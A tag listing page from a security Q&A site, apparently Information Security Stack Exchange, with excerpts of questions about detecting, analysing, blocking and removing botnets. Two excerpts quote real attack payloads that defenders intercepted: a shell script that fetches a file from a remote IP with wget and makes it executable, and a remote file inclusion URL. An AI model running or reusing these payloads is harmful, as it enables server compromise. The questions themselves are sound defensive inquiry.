A botnet is a collection of computers that are under the control of a person or group, usually facilitated by malware. These computers are often used to take part in DDoS attacks and spamming.

learn more… | top users | synonyms

-1
votes
2answers
152 views

I have discovered a botnet during testing [closed]

Whilst testing a server I discovered a botnet. I have the executable downloaded to the server and decompiled the file to get the strings from it. My question is what would the next logical step be ...
1
vote
1answer
28 views

Botnet fingerprinting

Does anyone know of any research of papers on fingerprinting botnets? If a given target is being brute forced or DDoSed do methods exist to determine if a brute force or DDoS on another target are ...
0
votes
0answers
21 views

What are the fields needed to check for SQLI, XSS, XSRF and Remote file inclusion attacks in apache access log file [duplicate]

I need to identify the SQLI, DoS, XSS attacks from log file. At which field these attacks will reflect in log file. Please suggest me some idea and send materials to me.
0
votes
2answers
57 views

How do bots communicate in the zeus botnet?

I read on http://www.abuse.ch/?p=3499 that: ZeuS is now using an “IP list” which contains the IP addresses of other drones participating in the P2P botnet. An initial list of IP addresses is hardcoded ...
3
votes
1answer
75 views

How to identify and analyze malware that checks for security tools before running?

I've been reading about the ZeroAccess and looking into some bot's code source* and I found this piece of code which checks if filemon is running in the infected computer before running the bot. ...
10
votes
3answers
717 views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
5
votes
1answer
143 views

Would using Google reCAPTCHA allow Google to cheat?

Wanting to go a step further into reducing the attacking surface from my "register new user" form I think on using reCAPTCHA (the one Google offers). Having bots sorted out from being able to ...
2
votes
3answers
427 views

How to check if URL/ IP belongs to a zeus bot

I have a set of URL's which might be Zeus hosts / C&C servers since my security appliance says so. Is there a way to check if these really belong to Zeus?
0
votes
2answers
119 views

What could be the reason for the high traffic on the local network? [closed]

In our small company we have very high traffic outbound from local network to server which is getting blocked, and slow downs our server respond time. Especially at night. I am not security ...
20
votes
4answers
2k views

What are spambots doing with unintelligible login attempts?

After constantly being under attack in phpBB, I created a new forum by hand, which successfully prevents spam bots from registering, and I get a report for every failed login attempt, telling me the ...
0
votes
1answer
60 views

Zeus for iOS devices

Is there a known variant of Zeus which attacks iOS based mobile devices? I have read about versions for Android and Symbian , wondering if iOS is vulnerable to it as well.
0
votes
1answer
298 views

I got a python script decrypted out of a pcap from a botnet [closed]

I got a python script decrypted out of a pcap file it's communication from a botnet (proberbly the c&c) but when i start the script i ain't getting login or passwords. What does this script do? ...
2
votes
1answer
124 views

After having confirmed a computer is infected by a Botnet.

And having found a server IP that is controlling it. How can I find out the log-in credentials this client uses to log in to a IRC channel / server webpage / control panel. I have found out a python ...
2
votes
1answer
80 views

Risks and prevention methods associated with flagging or downvoting?

Similar to bots posting spam posts and blogs is it possible that bots with legible registered accounts go around the site flagging or downvoting everything on the site. If yes, what can I do to ...
1
vote
1answer
87 views

Botnet callback patterns

I am trying to understand the network behavior of bots. Are there any identifiable characteristics of callback requests from the bot to the C&C server which differentiates it from normal traffic? ...
2
votes
1answer
64 views

finding bot generated traffic through object requested behavior

I have network traffic details, which consist of client IPs accessing a web server. Alongwith that I have the session ids through which the client IPs access the web server. In the session details I ...
2
votes
4answers
369 views

How can I block bots that consistently hit the same URLs?

I am getting slammed hard by bots, and I am not sure how to stop them without blocking my legitimate traffic. I created some iptables rules that say, if X connections in X seconds, block, but that ...
2
votes
1answer
876 views

Can you get rid of the ZeroAccess botnet without a complete reinstall? [duplicate]

I'm interested in the recommended course of action for when you find a (Windows) system infected with the ZeroAccess botnet. I've seen various blog posts online recommending that the user download ...
1
vote
1answer
494 views

Orbit Downloader botnet program removal [solved]

Recently (shortly after midnight on 10/8/2013) I installed and ran Orbit Downloader. After learning that the latest version (4.1.1.8) has a botnet-like module included I immediately stopped the ...
0
votes
4answers
202 views

What can a zombie computer feasibly install and run?

I'm experimenting with a Proof of Work system that tries to force the use of a browser in order to solve the client puzzle. Basically, instead of just handing off the puzzle as hash with a well known ...
0
votes
2answers
169 views

How does the Mega-D BotNet send spam?

I have just been reading an report that analyzed the Mega-D Botnet, but what I haven't fully understood is how they are used to send spam? What email address is the mail sent from? Does each bot ...
0
votes
2answers
309 views

What are other channels Botnets can use for command and control except IRC

What command and control channels might a botnet use? Which would be most effective? I found good info on IRC, what are other possibilities? (Exam preparation - no harm intended :-) )
2
votes
3answers
309 views

How could an iPhone be transmitting abnormal loads of data without apparently running anything?

My iPhone has sent/received 900MB in 15 days from "com.busuu.japanese.a" I got this information from Onavo, which 'compresses' my data. I have never heard of Busuu until today. It is a language ...
4
votes
2answers
282 views

Can botnets be injected through open wifi to smartphones?

I have read this paper, which is answers part of the question. It answers, 'open wifi will help increase the spread speed and impact' but what I want to know is, can you 'plant' an open wifi access ...
2
votes
4answers
410 views

How to identify the Java program that is maliciously accessing my web site from many client addresses?

For many years, my personal web site receives numerous pairs of hits that look like this, every day: 202.xx.xx.xx - - [22/Apr/2013:12:02:26 +0000] "GET / HTTP/1.1" 200 5923 "-" "Java/1.4.1_04" ...
2
votes
1answer
227 views

Understanding what bot was used for a Botnet attack

Yesterday we got to know of a massive brute force attack on WordPress admin accounts targeting weak passwords. From an online source: A botnet using more than 90,000 IP addresses to crack ...
1
vote
1answer
124 views

Botnet Attempting to Login to Website

Our server has recently become a target of what appears to be a botnet attack. The first indication was an insane amount of traffic to one of our client's websites - so heavy that the server entirely ...
4
votes
3answers
406 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
3
votes
2answers
208 views

BOTs C&C channels

Can someone please explain the C&C for bots ? im reading a paper about Android bot , and its explaining something called URL flux as method of C&C . however i couldn't really get it , so ...
39
votes
5answers
3k views

I managed to capture a botnet control host, what do I do with it?

A few days ago one of my webhosting customers had their FTP login compromised, and the attacker modified his index.php file to include some extra code, and roughly twelve thousand other bots have been ...
7
votes
6answers
893 views

how to mitigate a DDoS from botnet on your website that comes from random IPs

I am wondering how do you mitigate a ddos attack which is coming from a botnet and hitting random URLs on a website. If there was a consistent URL it was hitting then it would be fairly simple, and ...
5
votes
6answers
2k views

How can I tell whether this computer is part of a botnet?

One of the computers that I manage (in the family, not business) has a weird set of files in its boot: bash.exe, curl.exe, uname.exe, sed.exe, rm.exe, tail.exe, cut.exe, awk.exe, cat.exe, chmod.exe, ...
4
votes
6answers
460 views

Bot detecting by considering request inter-arrival time

If there are some chances to detect a bot by considering the users page viewing time, is it possible to measure this time? When a user request for a page (page request), browser request for several ...
3
votes
3answers
279 views

How similar are bots regarding their HTTP GET request?

Lets assume a botnet is attacking a website by HTTP GET flooding. To find the bots, the only way seems to be finding the similarities of the HTTP GET requests considering the URL and header fields, ...
4
votes
3answers
577 views

How do you search for a botnet out in the wild?

I'm interested in searching for botnets out in the wild. Besides Google dorking for a phrase or code used on the control panel backend for web based interfaces. What other ways are there to search for ...
3
votes
1answer
506 views

What is known about the sirefef/zeroaccess malware/botnet?

There appears to be an increase in p2p communication among botnets that has been attributed to the sirefef/zeroaccess malware botnet. What is known on this particular threat?
4
votes
3answers
253 views

Are there any known botnets targetting smartphones?

Are there any known botnets that specifically target smartphones? What is their topology and how are they controlled? What are they used for?
9
votes
2answers
774 views

Publicly available Botnet Traffic dataset

Is there any publicly data set on botnet traffic for machine learning purposes. i.e traffic set for both bad and good bots
0
votes
1answer
888 views

Monitor incoming TCP/UDP flood attack and graph it

I'm preparing a presentation on a security issue and want to include a demonstration. It won't be in real time, I just need to show some pictures of the results. I have some VPSes that will perform a ...
3
votes
2answers
575 views

How do browser injections work?

I've heard many times that malware like Zeus, SpyEye and Citadel are able to do browser injections to steal credit card data. How do they do it? how do browser "injections" work? How are they able to ...
4
votes
4answers
366 views

Malware that uses http as a covert channel

I'm working on a http traffic analyzer and I need a collection of malware, which uses http as a way to get commands and respond, to analyze their network behaviour. Is there any database of malware, ...
-2
votes
2answers
752 views

Is zeus trojan really harmless?

I am confused by this page http://www.wiki-security.com/wiki/Parasite/ZeusTrojan/ I was searching info on google as I read warning article about the fact it was very sophisticated bot that steals ...
6
votes
2answers
907 views

How to attract traffic to a honeypot

I have set up a honeypot, but I am not happy with the low traffic load and I would like to trigger much higher traffic levels. What methods would attract high bot activity? These are the ideas I ...
18
votes
2answers
549 views

How secure is Stack Exchange's reputation?

I recently read an article about researchers being able to penetrate the Facebook network and making lots of friends with about 100 "Social" bots. What would prevent somebody to do the same on Stack ...
0
votes
2answers
324 views

Why was the Hail Mary Cloud named so? [closed]

The Hail Mary Cloud was a botnet that slowly and intelligently attempted to bruteforce SSH logins. Why was it dubbed the Hail Mary Cloud though?
6
votes
4answers
2k views

Block all BotNets and TOR addresses from accessing our site

I've heard that many DOS attacks and general "black hat hacking" attempts occur over the TOR network. Is it possible for me to dynamically block source IP's by their presence in a BotNet or similar ...
10
votes
6answers
19k views

How do I know if my computer is being used for a botnet-based DDoS attack?

A botnet is a collection of compromised computers, each of which is known as a 'bot', connected to the Internet. When a computer is compromised by an attacker, there is often code within the ...
6
votes
1answer
351 views

Anatomy of a Botnet takedown

So Microsoft was partly responsible for taking down the Kelihos botnet back in Sept 2011. They used a variety of legal and technical measures to do so. I don't want to get into the global politics ...
8
votes
3answers
404 views

How do researchers “gain control of an attacking PC” and not themselves be considered attackers / criminals?

In reference to this Network Computing Report article titled "'Operation Shady Rat' Perpetrated Five Years Of Long-Term Attacks On Government, Enterprises" The Cliff's Notes to the article is thus: ...
10
votes
4answers
4k views

Looking for botnet IP address feeds to protect against DDoS

I would like to get a live feed of botnet IP addresses delivered from a service and block them under certain conditions. Preferably community based/open source but open to looking at worthy commercial ...